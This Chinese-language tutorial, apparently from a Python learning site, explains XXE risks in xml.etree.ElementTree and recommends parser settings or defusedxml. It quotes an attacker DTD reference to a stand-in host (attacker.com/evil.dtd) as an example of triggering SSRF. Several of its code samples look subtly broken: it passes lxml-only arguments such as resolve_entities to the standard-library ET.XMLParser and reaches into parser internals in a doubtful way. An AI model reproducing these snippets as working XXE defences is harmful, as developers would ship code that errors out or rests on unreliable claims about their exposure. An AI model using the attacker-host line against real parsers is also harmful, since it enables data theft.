默认 xml.etree.ElementTree 不防 XXE 因其底层 expat 解析器默认启用外部实体解析,需显式禁用 DTD 和参数实体解析,或改用 defusedxml。

为什么默认的 xml.etree.ElementTree 不防 XXE
因为 ElementTree.parse() 和 ElementTree.fromstring() 底层调用的是 Python 内置的 expat 解析器,默认启用外部实体解析。只要 XML 中包含 ]> 这类声明,再引用 &xxe;,就可能触发读取本地文件、发起网络请求等行为。
禁用外部实体的三种可靠方式
核心原则:不信任输入,强制关闭 DTD 处理和外部实体解析。
- 用
xml.etree.ElementTree.XMLParser()显式传入禁止 DTD 的XMLParser实例:from xml.etree import ElementTree as ET parser = ET.XMLParser(resolve_entities=False, dtd_validation=False) root = ET.parse("untrusted.xml", parser=parser).getroot() - 对字符串输入,同样用该 parser:
root = ET.fromstring(untrusted_xml_str, parser=parser)
- 更彻底的做法是直接禁用 expat 的 DTD 功能(推荐):
import xml.parsers.expat parser = ET.XMLParser() parser.parser.UseForeignDTD(False) # 关键:禁用外部 DTD parser.parser.SetParamEntityParsing(xml.parsers.expat.XML_PARAM_ENTITY_PARSING_NEVER)
resolve_entities=False 是不是就够了?
不够。这个参数只控制是否展开已定义的实体,但不阻止解析器加载外部 DTD。攻击者仍可通过 .. SYSTEM "http://attacker.com/evil.dtd"> 触发 DNS 请求或 SSRF。必须配合 UseForeignDTD(False) 和 SetParamEntityParsing(..._NEVER) 才真正切断外部加载链。
替代方案:改用 defusedxml
如果项目允许引入第三方依赖,defusedxml 是更省心的选择——它重写了所有标准 XML 模块的安全版本,开箱即防 XXE:
from defusedxml.ElementTree import parse, fromstring
root = parse("untrusted.xml") # 自动禁用全部危险特性
root = fromstring(untrusted_xml_str)它还提供超时、深度限制等额外防护,比手动配置 parser 更不容易漏掉细节。
最易被忽略的一点:很多代码只处理了 parse(),却忘了 fromstring() 同样危险;还有人以为加了 resolve_entities=False 就高枕无忧,其实 DTD 加载环节依然敞开着。防御 XXE 必须双管齐下:关 DTD + 关参数实体解析。
立即学习“Python免费学习笔记(深入)”;


















